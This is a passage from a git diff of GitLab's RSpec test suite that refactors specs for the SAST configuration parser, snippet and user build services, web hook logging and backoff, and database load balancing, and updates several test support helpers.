- allow(project.repository).to receive(:blob_data_at).and_return(gitlab_ci_yml_default_analyzers_content)
-
- expect(brakeman['enabled']).to be(false)
- expect(bandit['enabled']).to be(true)
- end
- end
-
context 'SAST_EXCLUDED_ANALYZERS is set' do
it 'enables analyzers correctly' do
allow(project.repository).to receive(:blob_data_at).and_return(gitlab_ci_yml_excluded_analyzers_content)
@@ -64,7 +52,23 @@ RSpec.describe Security::CiConfiguration::SastParserService do
allow(project.repository).to receive(:blob_data_at).and_return(nil)
expect(secure_analyzers_prefix['value']).to eql('registry.gitlab.com/gitlab-org/security-products/analyzers')
expect(sast_excluded_paths['value']).to eql('spec, test, tests, tmp')
- expect(sast_analyzer_image_tag['value']).to eql('2')
+ expect(sast_pipeline_stage['value']).to eql('test')
+ expect(sast_search_max_depth['value']).to eql('4')
+ expect(brakeman['enabled']).to be(true)
+ expect(sast_brakeman_level['value']).to eql('1')
+ end
+ end
+
+ context 'when .gitlab-ci.yml does not include the sast job' do
+ before do
+ allow(project.repository).to receive(:blob_data_at).and_return(
+ File.read(Rails.root.join('spec/support/gitlab_stubs/gitlab_ci.yml'))
+ )
+ end
+
+ it 'populates the current values with the default values' do
+ expect(secure_analyzers_prefix['value']).to eql('registry.gitlab.com/gitlab-org/security-products/analyzers')
+ expect(sast_excluded_paths['value']).to eql('spec, test, tests, tmp')
expect(sast_pipeline_stage['value']).to eql('test')
expect(sast_search_max_depth['value']).to eql('4')
expect(brakeman['enabled']).to be(true)
diff --git a/spec/services/snippets/create_service_spec.rb b/spec/services/snippets/create_service_spec.rb
index 32a09e1afc8..eb6e85eb408 100644
--- a/spec/services/snippets/create_service_spec.rb
+++ b/spec/services/snippets/create_service_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe Snippets::CreateService do
let(:extra_opts) { {} }
let(:creator) { admin }
- subject { described_class.new(project, creator, opts).execute }
+ subject { described_class.new(project: project, current_user: creator, params: opts).execute }
let(:snippet) { subject.payload[:snippet] }
diff --git a/spec/services/snippets/update_service_spec.rb b/spec/services/snippets/update_service_spec.rb
index e737c00ae67..46bc62e11ef 100644
--- a/spec/services/snippets/update_service_spec.rb
+++ b/spec/services/snippets/update_service_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe Snippets::UpdateService do
let(:extra_opts) { {} }
let(:options) { base_opts.merge(extra_opts) }
let(:updater) { user }
- let(:service) { Snippets::UpdateService.new(project, updater, options) }
+ let(:service) { Snippets::UpdateService.new(project: project, current_user: updater, params: options) }
subject { service.execute(snippet) }
diff --git a/spec/services/system_notes/issuables_service_spec.rb b/spec/services/system_notes/issuables_service_spec.rb
index ae18bc23c17..0eb327ea7f1 100644
--- a/spec/services/system_notes/issuables_service_spec.rb
+++ b/spec/services/system_notes/issuables_service_spec.rb
@@ -735,7 +735,7 @@ RSpec.describe ::SystemNotes::IssuablesService do
end
it 'is true with issue tracker not supporting referencing' do
- create(:bugzilla_service, project: project)
+ create(:bugzilla_integration, project: project)
project.reload
expect(service.cross_reference_disallowed?(noteable)).to be_truthy
diff --git a/spec/services/user_project_access_changed_service_spec.rb b/spec/services/user_project_access_changed_service_spec.rb
index 070782992e7..4723619afd2 100644
--- a/spec/services/user_project_access_changed_service_spec.rb
+++ b/spec/services/user_project_access_changed_service_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe UserProjectAccessChangedService do
end
it 'permits low-priority operation' do
- expect(AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker).to(
+ expect(AuthorizedProjectUpdate::UserRefreshFromReplicaWorker).to(
receive(:bulk_perform_in).with(
described_class::DELAY,
[[1], [2]],
@@ -31,4 +31,37 @@ RSpec.describe UserProjectAccessChangedService do
priority: described_class::LOW_PRIORITY)
end
end
+
+ context 'with load balancing enabled' do
+ let(:service) { UserProjectAccessChangedService.new([1, 2]) }
+
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
+
+ expect(AuthorizedProjectsWorker).to receive(:bulk_perform_and_wait)
+ .with([[1], [2]])
+ .and_return(10)
+ end
+
+ it 'sticks all the updated users and returns the original result', :aggregate_failures do
+ expect(Gitlab::Database::LoadBalancing::Sticking).to receive(:bulk_stick).with(:user, [1, 2])
+
+ expect(service.execute).to eq(10)
+ end
+
+ it 'avoids N+1 cached queries', :use_sql_query_cache, :request_store do
+ # Run this once to establish a baseline
+ control_count = ActiveRecord::QueryRecorder.new(skip_cached: false) do
+ service.execute
+ end
+
+ service = UserProjectAccessChangedService.new([1, 2, 3, 4, 5])
+
+ allow(AuthorizedProjectsWorker).to receive(:bulk_perform_and_wait)
+ .with([[1], [2], [3], [4], [5]])
+ .and_return(10)
+
+ expect { service.execute }.not_to exceed_all_query_limit(control_count.count)
+ end
+ end
end
diff --git a/spec/services/users/activity_service_spec.rb b/spec/services/users/activity_service_spec.rb
index 4bbf6a2bcb8..cfafa9eff45 100644
--- a/spec/services/users/activity_service_spec.rb
+++ b/spec/services/users/activity_service_spec.rb
@@ -84,4 +84,51 @@ RSpec.describe Users::ActivityService do
end
end
end
+
+ context 'with DB Load Balancing', :request_store, :redis, :clean_gitlab_redis_shared_state do
+ include_context 'clear DB Load Balancing configuration'
+
+ let(:user) { create(:user, last_activity_on: last_activity_on) }
+
+ context 'when last activity is in the past' do
+ let(:user) { create(:user, last_activity_on: Date.today - 1.week) }
+
+ context 'database load balancing is configured' do
+ before do
+ # Do not pollute AR for other tests, but rather simulate effect of configure_proxy.
+ allow(ActiveRecord::Base.singleton_class).to receive(:prepend)
+ ::Gitlab::Database::LoadBalancing.configure_proxy
+ allow(ActiveRecord::Base).to receive(:connection).and_return(::Gitlab::Database::LoadBalancing.proxy)
+ end
+
+ let(:service) do
+ service = described_class.new(user)
+
+ ::Gitlab::Database::LoadBalancing::Session.clear_session
+
+ service
+ end
+
+ it 'does not stick to primary' do
+ expect(::Gitlab::Database::LoadBalancing::Session.current).not_to be_performed_write
+
+ service.execute
+
+ expect(user.last_activity_on).to eq(Date.today)
+ expect(::Gitlab::Database::LoadBalancing::Session.current).to be_performed_write
+ expect(::Gitlab::Database::LoadBalancing::Session.current).not_to be_using_primary
+ end
+ end
+
+ context 'database load balancing is not configured' do
+ let(:service) { described_class.new(user) }
+
+ it 'updates user without error' do
+ service.execute
+
+ expect(user.last_activity_on).to eq(Date.today)
+ end
+ end
+ end
+ end
end
diff --git a/spec/services/users/authorized_build_service_spec.rb b/spec/services/users/authorized_build_service_spec.rb
new file mode 100644
index 00000000000..57a122cbf35
--- /dev/null
+++ b/spec/services/users/authorized_build_service_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Users::AuthorizedBuildService do
+ describe '#execute' do
+ let_it_be(:current_user) { create(:user) }
+
+ let(:params) { build_stubbed(:user).slice(:first_name, :last_name, :username, :email, :password) }
+
+ subject(:user) { described_class.new(current_user, params).execute }
+
+ it_behaves_like 'common user build items'
+ it_behaves_like 'current user not admin build items'
+ end
+end
diff --git a/spec/services/users/build_service_spec.rb b/spec/services/users/build_service_spec.rb
index e8786c677d1..98fe6d9b5ba 100644
--- a/spec/services/users/build_service_spec.rb
+++ b/spec/services/users/build_service_spec.rb
@@ -11,148 +11,19 @@ RSpec.describe Users::BuildService do
let(:params) { build_stubbed(:user).slice(:first_name, :last_name, :username, :email, :password) }
let(:service) { described_class.new(current_user, params) }
- shared_examples_for 'common build items' do
- it { is_expected.to be_valid }
-
- it 'sets the created_by_id' do
- expect(user.created_by_id).to eq(current_user&.id)
- end
-
- it 'calls UpdateCanonicalEmailService' do
- expect(Users::UpdateCanonicalEmailService).to receive(:new).and_call_original
-
- user
- end
-
- context 'when user_type is provided' do
- context 'when project_bot' do
- before do
- params.merge!({ user_type: :project_bot })
- end
-
- it { expect(user.project_bot?).to be true }
- end
-
- context 'when not a project_bot' do
- before do
- params.merge!({ user_type: :alert_bot })
- end
-
- it { expect(user).to be_human }
- end
- end
- end
-
- shared_examples_for 'current user not admin' do
- context 'with "user_default_external" application setting' do
- where(:user_default_external, :external, :email, :user_default_internal_regex, :result) do
- true | nil | 'fl@example.com' | nil | true
- true | true | 'fl@example.com' | nil | true
- true | false | 'fl@example.com' | nil | true # admin difference
-
- true | nil | 'fl@example.com' | '' | true
- true | true | 'fl@example.com' | '' | true
- true | false | 'fl@example.com' | '' | true # admin difference
-
- true | nil | 'fl@example.com' | '^(?:(?!\.ext@).)*$\r?' | false
- true | true | 'fl@example.com' | '^(?:(?!\.ext@).)*$\r?' | false # admin difference
- true | false | 'fl@example.com' | '^(?:(?!\.ext@).)*$\r?' | false
-
- true | nil | 'tester.ext@domain.com' | '^(?:(?!\.ext@).)*$\r?' | true
- true | true | 'tester.ext@domain.com' | '^(?:(?!\.ext@).)*$\r?' | true
- true | false | 'tester.ext@domain.com' | '^(?:(?!\.ext@).)*$\r?' | true # admin difference
-
- false | nil | 'fl@example.com' | nil | false
- false | true | 'fl@example.com' | nil | false # admin difference
- false | false | 'fl@example.com' | nil | false
-
- false | nil | 'fl@example.com' | '' | false
- false | true | 'fl@example.com' | '' | false # admin difference
- false | false | 'fl@example.com' | '' | false
-
- false | nil | 'fl@example.com' | '^(?:(?!\.ext@).)*$\r?' | false
- false | true | 'fl@example.com' | '^(?:(?!\.ext@).)*$\r?' | false # admin difference
- false | false | 'fl@example.com' | '^(?:(?!\.ext@).)*$\r?' | false
-
- false | nil | 'tester.ext@domain.com' | '^(?:(?!\.ext@).)*$\r?' | false
- false | true | 'tester.ext@domain.com' | '^(?:(?!\.ext@).)*$\r?' | false # admin difference
- false | false | 'tester.ext@domain.com' | '^(?:(?!\.ext@).)*$\r?' | false
- end
-
- with_them do
- before do
- stub_application_setting(user_default_external: user_default_external)
- stub_application_setting(user_default_internal_regex: user_default_internal_regex)
-
- params.merge!({ external: external, email: email }.compact)
- end
-
- it 'sets the value of Gitlab::CurrentSettings.user_default_external' do
- expect(user.external).to eq(result)
- end
- end
- end
-
- context 'when "send_user_confirmation_email" application setting is true' do
- before do
- stub_application_setting(send_user_confirmation_email: true, signup_enabled?: true)
- end
-
- it 'does not confirm the user' do
- expect(user).not_to be_confirmed
- end
- end
-
- context 'when "send_user_confirmation_email" application setting is false' do
- before do
- stub_application_setting(send_user_confirmation_email: false, signup_enabled?: true)
- end
-
- it 'confirms the user' do
- expect(user).to be_confirmed
- end
- end
-
- context 'with allowed params' do
- let(:params) do
- {
- email: 1,
- name: 1,
- password: 1,
- password_automatically_set: 1,
- username: 1,
- user_type: 'project_bot'
- }
- end
-
- it 'sets all allowed attributes' do
- expect(User).to receive(:new).with(hash_including(params)).and_call_original
-
- user
- end
- end
- end
-
context 'with nil current_user' do
subject(:user) { service.execute }
- it_behaves_like 'common build items'
- it_behaves_like 'current user not admin'
+ it_behaves_like 'common user build items'
+ it_behaves_like 'current user not admin build items'
end
context 'with non admin current_user' do
let_it_be(:current_user) { create(:user) }
- let(:service) { described_class.new(current_user, params) }
-
- subject(:user) { service.execute(skip_authorization: true) }
-
- it 'raises AccessDeniedError exception when authorization is not skipped' do
- expect { service.execute }.to raise_error Gitlab::Access::AccessDeniedError
+ it 'raises AccessDeniedError exception' do
+ expect { described_class.new(current_user, params).execute }.to raise_error Gitlab::Access::AccessDeniedError
end
-
- it_behaves_like 'common build items'
- it_behaves_like 'current user not admin'
end
context 'with an admin current_user' do
@@ -163,7 +34,7 @@ RSpec.describe Users::BuildService do
subject(:user) { service.execute }
- it_behaves_like 'common build items'
+ it_behaves_like 'common user build items'
context 'with allowed params' do
let(:params) do
diff --git a/spec/services/users/update_assigned_open_issue_count_service_spec.rb b/spec/services/users/update_assigned_open_issue_count_service_spec.rb
deleted file mode 100644
index 55fc60a7893..00000000000
--- a/spec/services/users/update_assigned_open_issue_count_service_spec.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Users::UpdateAssignedOpenIssueCountService do
- let_it_be(:user) { create(:user) }
-
- describe '#initialize' do
- context 'incorrect arguments provided' do
- it 'raises an error if there are no target user' do
- expect { described_class.new(target_user: nil) }.to raise_error(ArgumentError, /Please provide a target user/)
- expect { described_class.new(target_user: "nonsense") }.to raise_error(ArgumentError, /Please provide a target user/)
- end
- end
-
- context 'when correct arguments provided' do
- it 'is successful' do
- expect { described_class.new(target_user: user) }.not_to raise_error
- end
- end
- end
-
- describe "#execute", :clean_gitlab_redis_cache do
- let(:fake_update_service) { double }
- let(:fake_issue_count_service) { double }
- let(:provided_value) { nil }
-
- subject { described_class.new(target_user: user).execute }
-
- context 'successful' do
- it 'returns a success response' do
- expect(subject).to be_success
- end
-
- it 'writes the cache with the new value' do
- expect(Rails.cache).to receive(:write).with(['users', user.id, 'assigned_open_issues_count'], 0, expires_in: User::COUNT_CACHE_VALIDITY_PERIOD)
-
- subject
- end
-
- it 'calls the issues finder to get the latest value' do
- expect(IssuesFinder).to receive(:new).with(user, assignee_id: user.id, state: 'opened', non_archived: true).and_return(fake_issue_count_service)
- expect(fake_issue_count_service).to receive(:execute)
-
- subject
- end
- end
- end
-end
diff --git a/spec/services/web_hook_service_spec.rb b/spec/services/web_hook_service_spec.rb
index b3fd4e33640..5f53d6f34d8 100644
--- a/spec/services/web_hook_service_spec.rb
+++ b/spec/services/web_hook_service_spec.rb
@@ -128,11 +128,10 @@ RSpec.describe WebHookService do
end
it 'handles exceptions' do
- exceptions = [
- SocketError, OpenSSL::SSL::SSLError, Errno::ECONNRESET, Errno::ECONNREFUSED,
- Errno::EHOSTUNREACH, Net::OpenTimeout, Net::ReadTimeout,
- Gitlab::HTTP::BlockedUrlError, Gitlab::HTTP::RedirectionTooDeep
+ exceptions = Gitlab::HTTP::HTTP_ERRORS + [
+ Gitlab::Json::LimitedEncoder::LimitExceeded, URI::InvalidURIError
]
+
exceptions.each do |exception_class|
exception = exception_class.new('Exception message')
project_hook.enable!
@@ -175,13 +174,19 @@ RSpec.describe WebHookService do
context 'execution logging' do
let(:hook_log) { project_hook.web_hook_logs.last }
+ def run_service
+ service_instance.execute
+ ::WebHooks::LogExecutionWorker.drain
+ project_hook.reload
+ end
+
context 'with success' do
before do
stub_full_request(project_hook.url, method: :post).to_return(status: 200, body: 'Success')
end
it 'log successful execution' do
- service_instance.execute
+ run_service
expect(hook_log.trigger).to eq('push_hooks')
expect(hook_log.url).to eq(project_hook.url)
@@ -192,12 +197,16 @@ RSpec.describe WebHookService do
expect(hook_log.internal_error_message).to be_nil
end
+ it 'does not log in the service itself' do
+ expect { service_instance.execute }.not_to change(::WebHookLog, :count)
+ end
+
it 'does not increment the failure count' do
- expect { service_instance.execute }.not_to change(project_hook, :recent_failures)
+ expect { run_service }.not_to change(project_hook, :recent_failures)
end
it 'does not change the disabled_until attribute' do
- expect { service_instance.execute }.not_to change(project_hook, :disabled_until)
+ expect { run_service }.not_to change(project_hook, :disabled_until)
end
context 'when the hook had previously failed' do
@@ -206,7 +215,7 @@ RSpec.describe WebHookService do
end
it 'resets the failure count' do
- expect { service_instance.execute }.to change(project_hook, :recent_failures).to(0)
+ expect { run_service }.to change(project_hook, :recent_failures).to(0)
end
end
end
@@ -217,7 +226,7 @@ RSpec.describe WebHookService do
end
it 'logs failed execution' do
- service_instance.execute
+ run_service
expect(hook_log).to have_attributes(
trigger: eq('push_hooks'),
@@ -231,17 +240,17 @@ RSpec.describe WebHookService do
end
it 'increments the failure count' do
- expect { service_instance.execute }.to change(project_hook, :recent_failures).by(1)
+ expect { run_service }.to change(project_hook, :recent_failures).by(1)
end
it 'does not change the disabled_until attribute' do
- expect { service_instance.execute }.not_to change(project_hook, :disabled_until)
+ expect { run_service }.not_to change(project_hook, :disabled_until)
end
it 'does not allow the failure count to overflow' do
project_hook.update!(recent_failures: 32767)
- expect { service_instance.execute }.not_to change(project_hook, :recent_failures)
+ expect { run_service }.not_to change(project_hook, :recent_failures)
end
context 'when the web_hooks_disable_failed FF is disabled' do
@@ -253,7 +262,7 @@ RSpec.describe WebHookService do
it 'does not allow the failure count to overflow' do
project_hook.update!(recent_failures: 32767)
- expect { service_instance.execute }.not_to change(project_hook, :recent_failures)
+ expect { run_service }.not_to change(project_hook, :recent_failures)
end
end
end
@@ -264,7 +273,7 @@ RSpec.describe WebHookService do
end
it 'log failed execution' do
- service_instance.execute
+ run_service
expect(hook_log.trigger).to eq('push_hooks')
expect(hook_log.url).to eq(project_hook.url)
@@ -276,16 +285,15 @@ RSpec.describe WebHookService do
end
it 'does not increment the failure count' do
- expect { service_instance.execute }.not_to change(project_hook, :recent_failures)
+ expect { run_service }.not_to change(project_hook, :recent_failures)
end
- it 'sets the disabled_until attribute' do
- expect { service_instance.execute }
- .to change(project_hook, :disabled_until).to(project_hook.next_backoff.from_now)
+ it 'backs off' do
+ expect { run_service }.to change(project_hook, :disabled_until)
end
it 'increases the backoff count' do
- expect { service_instance.execute }.to change(project_hook, :backoff_count).by(1)
+ expect { run_service }.to change(project_hook, :backoff_count).by(1)
end
context 'when the previous cool-off was near the maximum' do
@@ -294,11 +302,7 @@ RSpec.describe WebHookService do
end
it 'sets the disabled_until attribute' do
- expect { service_instance.execute }.to change(project_hook, :disabled_until).to(1.day.from_now)
- end
-
- it 'sets the last_backoff attribute' do
- expect { service_instance.execute }.to change(project_hook, :backoff_count).by(1)
+ expect { run_service }.to change(project_hook, :disabled_until).to(1.day.from_now)
end
end
@@ -308,11 +312,7 @@ RSpec.describe WebHookService do
end
it 'sets the disabled_until attribute' do
- expect { service_instance.execute }.to change(project_hook, :disabled_until).to(1.day.from_now)
- end
-
- it 'sets the last_backoff attribute' do
- expect { service_instance.execute }.to change(project_hook, :backoff_count).by(1)
+ expect { run_service }.to change(project_hook, :disabled_until).to(1.day.from_now)
end
end
end
@@ -320,7 +320,7 @@ RSpec.describe WebHookService do
context 'with unsafe response body' do
before do
stub_full_request(project_hook.url, method: :post).to_return(status: 200, body: "\xBB")
- service_instance.execute
+ run_service
end
it 'log successful execution' do
@@ -375,15 +375,18 @@ RSpec.describe WebHookService do
it 'does not queue a worker and logs an error' do
expect(WebHookWorker).not_to receive(:perform_async)
- payload = {
- message: 'Webhook rate limit exceeded',
- hook_id: project_hook.id,
- hook_type: 'ProjectHook',
- hook_name: 'push_hooks'
- }
-
- expect(Gitlab::AuthLogger).to receive(:error).with(payload)
- expect(Gitlab::AppLogger).to receive(:error).with(payload)
+ expect(Gitlab::AuthLogger).to receive(:error).with(
+ include(
+ message: 'Webhook rate limit exceeded',
+ hook_id: project_hook.id,
+ hook_type: 'ProjectHook',
+ hook_name: 'push_hooks',
+ "correlation_id" => kind_of(String),
+ "meta.project" => project.full_path,
+ "meta.related_class" => 'ProjectHook',
+ "meta.root_namespace" => project.root_namespace.full_path
+ )
+ )
service_instance.async_execute
end
@@ -403,7 +406,6 @@ RSpec.describe WebHookService do
it 'stops queueing workers and logs errors' do
expect(Gitlab::AuthLogger).to receive(:error).twice
- expect(Gitlab::AppLogger).to receive(:error).twice
2.times { service_instance.async_execute }
end
@@ -430,5 +432,19 @@ RSpec.describe WebHookService do
end
end
end
+
+ context 'when hook has custom context attributes' do
+ it 'includes the attributes in the worker context' do
+ expect(WebHookWorker).to receive(:perform_async) do
+ expect(Gitlab::ApplicationContext.current).to include(
+ 'meta.project' => project_hook.project.full_path,
+ 'meta.root_namespace' => project.root_ancestor.path,
+ 'meta.related_class' => 'ProjectHook'
+ )
+ end
+
+ service_instance.async_execute
+ end
+ end
end
end
diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb
index bd9ba53c04c..9a2eee0edc5 100644
--- a/spec/spec_helper.rb
+++ b/spec/spec_helper.rb
@@ -403,6 +403,15 @@ RSpec.configure do |config|
end
end
+ # Allows stdout to be redirected to reduce noise
+ config.before(:each, :silence_stdout) do
+ $stdout = StringIO.new
+ end
+
+ config.after(:each, :silence_stdout) do
+ $stdout = STDOUT
+ end
+
config.disable_monkey_patching!
end
diff --git a/spec/support/capybara.rb b/spec/support/capybara.rb
index f9a28c8e40b..e48a7b322ac 100644
--- a/spec/support/capybara.rb
+++ b/spec/support/capybara.rb
@@ -21,7 +21,8 @@ JS_CONSOLE_FILTER = Regexp.union([
'"[WDS] Hot Module Replacement enabled."',
'"[WDS] Live Reloading enabled."',
'Download the Vue Devtools extension',
- 'Download the Apollo DevTools'
+ 'Download the Apollo DevTools',
+ "Unrecognized feature: 'interest-cohort'"
])
CAPYBARA_WINDOW_SIZE = [1366, 768].freeze
diff --git a/spec/support/database_cleaner.rb b/spec/support/database_cleaner.rb
index 60d82f7e92a..f6339d7343c 100644
--- a/spec/support/database_cleaner.rb
+++ b/spec/support/database_cleaner.rb
@@ -35,8 +35,6 @@ RSpec.configure do |config|
puts "Recreating the database"
start = Gitlab::Metrics::System.monotonic_time
- ActiveRecord::AdvisoryLockBase.clear_all_connections!
-
ActiveRecord::Tasks::DatabaseTasks.drop_current
ActiveRecord::Tasks::DatabaseTasks.create_current
ActiveRecord::Tasks::DatabaseTasks.load_schema_current
diff --git a/spec/support/gitlab/usage/metrics_instrumentation_shared_examples.rb b/spec/support/gitlab/usage/metrics_instrumentation_shared_examples.rb
index c9ff566e94c..de9735df546 100644
--- a/spec/support/gitlab/usage/metrics_instrumentation_shared_examples.rb
+++ b/spec/support/gitlab/usage/metrics_instrumentation_shared_examples.rb
@@ -1,13 +1,38 @@
# frozen_string_literal: true
-RSpec.shared_examples 'a correct instrumented metric value' do |options, expected_value|
- let(:time_frame) { options[:time_frame] }
+RSpec.shared_examples 'a correct instrumented metric value' do |params|
+ let(:time_frame) { params[:time_frame] }
+ let(:options) { params[:options] }
+ let(:metric) { described_class.new(time_frame: time_frame, options: options) }
before do
allow(ActiveRecord::Base.connection).to receive(:transaction_open?).and_return(false)
end
it 'has correct value' do
- expect(described_class.new(time_frame: time_frame).value).to eq(expected_value)
+ expect(metric.value).to eq(expected_value)
end
end
+
+RSpec.shared_examples 'a correct instrumented metric query' do |params|
+ let(:time_frame) { params[:time_frame] }
+ let(:options) { params[:options] }
+ let(:metric) { described_class.new(time_frame: time_frame, options: options) }
+
+ around do |example|
+ freeze_time { example.run }
+ end
+
+ before do
+ allow(ActiveRecord::Base.connection).to receive(:transaction_open?).and_return(false)
+ end
+
+ it 'has correct generate query' do
+ expect(metric.to_sql).to eq(expected_query)
+ end
+end
+
+RSpec.shared_examples 'a correct instrumented metric value and query' do |params|
+ it_behaves_like 'a correct instrumented metric value', params
+ it_behaves_like 'a correct instrumented metric query', params
+end
diff --git a/spec/support/gitlab_stubs/gitlab_ci_for_sast.yml b/spec/support/gitlab_stubs/gitlab_ci_for_sast.yml
index d20078c8904..0e021a85ba6 100644
--- a/spec/support/gitlab_stubs/gitlab_ci_for_sast.yml
+++ b/spec/support/gitlab_stubs/gitlab_ci_for_sast.yml
@@ -4,7 +4,6 @@ include:
variables:
SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers2"
SAST_EXCLUDED_PATHS: "spec, executables"
- SAST_DEFAULT_ANALYZERS: "bandit, brakeman"
SAST_EXCLUDED_ANALYZERS: "brakeman"
stages:
diff --git a/spec/support/gitlab_stubs/gitlab_ci_for_sast_default_analyzers.yml b/spec/support/gitlab_stubs/gitlab_ci_for_sast_default_analyzers.yml
deleted file mode 100644
index c4f3c3aace2..00000000000
--- a/spec/support/gitlab_stubs/gitlab_ci_for_sast_default_analyzers.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-include:
- - template: SAST.gitlab-ci.yml
-
-variables:
- SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers2"
- SAST_EXCLUDED_PATHS: "spec, executables"
- SAST_DEFAULT_ANALYZERS: "bandit, gosec"
-
-stages:
- - our_custom_security_stage
-sast:
- stage: our_custom_security_stage
- variables:
- SEARCH_MAX_DEPTH: 8
- SAST_BRAKEMAN_LEVEL: 2
diff --git a/spec/support/helpers/access_matchers_helpers.rb b/spec/support/helpers/access_matchers_helpers.rb
index 9100f245d36..035653172c1 100644
--- a/spec/support/helpers/access_matchers_helpers.rb
+++ b/spec/support/helpers/access_matchers_helpers.rb
@@ -1,6 +1,8 @@
# frozen_string_literal: true
module AccessMatchersHelpers
+ include Gitlab::Utils::StrongMemoize
+
USER_ACCESSOR_METHOD_NAME = 'user'
def provide_user(role, membership = nil)
@@ -61,11 +63,6 @@ module AccessMatchersHelpers
# (or defined by `method_name`) method generated by `let` definition in example group before it's used by `subject`.
# This override is per concrete example only because the example group class gets re-created for each example.
instance_eval(<<~CODE, __FILE__, __LINE__ + 1)
- if instance_variable_get(:@__#{USER_ACCESSOR_METHOD_NAME}_patched)
- raise ArgumentError, 'An access matcher be_allowed_for/be_denied_for can be used only once per example (`it` block)'
- end
- instance_variable_set(:@__#{USER_ACCESSOR_METHOD_NAME}_patched, true)
-
def #{USER_ACCESSOR_METHOD_NAME}
@#{USER_ACCESSOR_METHOD_NAME} ||= User.find(#{user.id})
end
@@ -81,6 +78,13 @@ module AccessMatchersHelpers
end
end
+ def reset_matcher_environment
+ instance_eval(<<~CODE, __FILE__, __LINE__ + 1)
+ clear_memoization(:#{USER_ACCESSOR_METHOD_NAME})
+ undef #{USER_ACCESSOR_METHOD_NAME} if defined? user
+ CODE
+ end
+
def run_matcher(action, role, membership, owned_objects)
raise_if_non_block_expectation!(action)
@@ -91,5 +95,7 @@ module AccessMatchersHelpers
else
action.call
end
+
+ reset_matcher_environment
end
end
diff --git a/spec/support/helpers/cycle_analytics_helpers.rb b/spec/support/helpers/cycle_analytics_helpers.rb
index 5510284b30d..4515b96c79e 100644
--- a/spec/support/helpers/cycle_analytics_helpers.rb
+++ b/spec/support/helpers/cycle_analytics_helpers.rb
@@ -7,6 +7,11 @@ module CycleAnalyticsHelpers
page.find('[data-testid="dropdown-value-streams"]').click
end
+ def path_nav_stage_names_without_median
+ # Returns the path names with the median value stripped out
+ page.all('.gl-path-button').collect(&:text).map {|name_with_median| name_with_median.split("\n")[0] }
+ end
+
def add_custom_stage_to_form
page.find_button(s_('CreateValueStreamForm|Add another stage')).click
diff --git a/spec/support/helpers/feature_flag_helpers.rb b/spec/support/helpers/feature_flag_helpers.rb
index 93cd915879b..af7a674f3bc 100644
--- a/spec/support/helpers/feature_flag_helpers.rb
+++ b/spec/support/helpers/feature_flag_helpers.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module FeatureFlagHelpers
- def create_flag(project, name, active = true, description: nil, version: Operations::FeatureFlag.versions['legacy_flag'])
+ def create_flag(project, name, active = true, description: nil, version: Operations::FeatureFlag.versions['new_version_flag'])
create(:operations_feature_flag, name: name, active: active, version: version,
description: description, project: project)
end
@@ -90,6 +90,5 @@ module FeatureFlagHelpers
def expect_user_to_see_feature_flags_index_page
expect(page).to have_text('Feature Flags')
- expect(page).to have_text('Lists')
end
end
diff --git a/spec/support/helpers/features/top_nav_spec_helpers.rb b/spec/support/helpers/features/top_nav_spec_helpers.rb
new file mode 100644
index 00000000000..ab664ce4283
--- /dev/null
+++ b/spec/support/helpers/features/top_nav_spec_helpers.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+# These helpers help you interact within the Editor Lite (single-file editor, snippets, etc.).
+#
+module Spec
+ module Support
+ module Helpers
+ module Features
+ module TopNavSpecHelpers
+ def open_top_nav
+ return unless Feature.enabled?(:combined_menu, default_enabled: :yaml)
+
+ find('.js-top-nav-dropdown-toggle').click
+ end
+
+ def within_top_nav
+ if Feature.enabled?(:combined_menu, default_enabled: :yaml)
+ within('.js-top-nav-dropdown-menu') do
+ yield
+ end
+ else
+ within('.navbar-sub-nav') do
+ yield
+ end
+ end
+ end
+
+ def open_top_nav_projects
+ if Feature.enabled?(:combined_menu, default_enabled: :yaml)
+ open_top_nav
+
+ within_top_nav do
+ click_button('Projects')
+ end
+ else
+ find('#nav-projects-dropdown').click
+ end
+ end
+
+ def open_top_nav_groups
+ return unless Feature.enabled?(:combined_menu, default_enabled: :yaml)
+
+ open_top_nav
+
+ within_top_nav do
+ click_button('Groups')
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/helpers/gitaly_setup.rb b/spec/support/helpers/gitaly_setup.rb
index 2ce4bcfa943..5cfd03ecea8 100644
--- a/spec/support/helpers/gitaly_setup.rb
+++ b/spec/support/helpers/gitaly_setup.rb
@@ -15,7 +15,7 @@ module GitalySetup
default_name = ENV['CI'] ? 'DEBUG' : 'WARN'
level_name = ENV['GITLAB_TESTING_LOG_LEVEL']&.upcase
level = Logger.const_get(level_name || default_name, true) # rubocop: disable Gitlab/ConstGetInheritFalse
- Logger.new(STDOUT, level: level, formatter: ->(_, _, _, msg) { msg })
+ Logger.new($stdout, level: level, formatter: ->(_, _, _, msg) { msg })
end
def tmp_tests_gitaly_dir
@@ -153,7 +153,7 @@ module GitalySetup
end
LOGGER.debug "Checking gitaly-ruby bundle...\n"
- out = ENV['CI'] ? STDOUT : '/dev/null'
+ out = ENV['CI'] ? $stdout : '/dev/null'
abort 'bundle check failed' unless system(env, 'bundle', 'check', out: out, chdir: File.dirname(gemfile))
end
diff --git a/spec/support/helpers/global_id_deprecation_helpers.rb b/spec/support/helpers/global_id_deprecation_helpers.rb
new file mode 100644
index 00000000000..37ba1420fb3
--- /dev/null
+++ b/spec/support/helpers/global_id_deprecation_helpers.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module GlobalIDDeprecationHelpers
+ def stub_global_id_deprecations(*deprecations)
+ old_name_map = deprecations.index_by(&:old_model_name)
+ new_name_map = deprecations.index_by(&:new_model_name)
+ old_graphql_name_map = deprecations.index_by { |d| Types::GlobalIDType.model_name_to_graphql_name(d.old_model_name) }
+
